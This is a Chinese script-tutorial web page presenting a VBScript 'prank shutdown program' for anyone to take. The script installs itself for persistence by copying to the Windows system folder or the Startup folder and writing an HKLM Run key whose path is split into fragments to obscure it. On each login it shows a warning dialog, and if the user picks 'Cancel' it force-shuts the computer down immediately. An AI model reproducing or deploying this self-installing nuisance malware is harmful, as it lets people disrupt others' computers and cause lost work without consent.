• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell
您的位置:首页 > 脚本语言 >vbs > vb下的恶搞关机程序

vb下的恶搞关机程序

作者:hebedich 字体:[增加 减小] 来源:互联网

hebedich 通过本文主要向大家介绍了vb恶搞程序,vb恶搞程序代码,vb关机程序,关机vb程序代码,vb自动关机程序等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com

额,不多介绍了,能看懂的就拿走,看不懂的拿走也没用。

Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
if (fs.FileExists(dirwin&"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
 else
c.Copy(dirwin&"\wxb.vbs")
end if
end if
sub Show_And_Do(s)
dim f
r = MsgBox ("警告:请不要随便动我的电脑! " & Chr(13) & Chr(10) & "确定->下次一定会先征求同意的" & Chr(10) & "取消->爱咋滴咋地,我才不管他嘞!", 4145, "MsgBox Example")
If r = 1 Then 
if s="Startup" then
set f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
f.Delete()
elseif s="reg" then
Wll.RegDelete str
set f = fs.GetFile(dirwin&"\wxb.vbs")
f.Delete()
end if 
Else
wll.run "Shutdown.exe -s -f -t 0"
End If
end sub
</div>

好了,代码分享给大家了,不要随便拿去搞破坏!

</div>

您可能想查找下面的文章:

  • vb下的恶搞关机程序

相关文章

  • vbs Size 属性使用介绍(获取文件大小)
  • VBS教程:VBscript语句-Const 语句
  • MSScriptControl.ScriptControl组件的用法实例
  • VBS 显示“选择文件或文件夹”对话框的代码
  • 用vbs实现本地添加用户的脚本
  • 用来分割文本的vbs脚本
  • VBS调用WMI遍历搜索硬盘文件并计数的方法
  • VBS实现的系统服务备份优化代码
  • 用vbs实现判断计算机是笔记本还是台式机的代码
  • 用vbs写的短小精悍的字典生成器

文章分类

  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell

最近更新的内容

    • VBS 断网后自动关机30秒后
    • vbs中将GB2312转Unicode的代码
    • 用vb和vbs 破解flashxp的密码的代码
    • 查看系统C盘剩余空间的VBS脚本
    • VbScript 封裝MS OWC(二)
    • 两个vbs脚本利用了wscirpt.network
    • VBS如何察看或获得剪切板内容的脚本
    • VBS编程教程 (第2篇)
    • VBS教程:函数-Chr 函数
    • Vbscript写注册表的方法

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有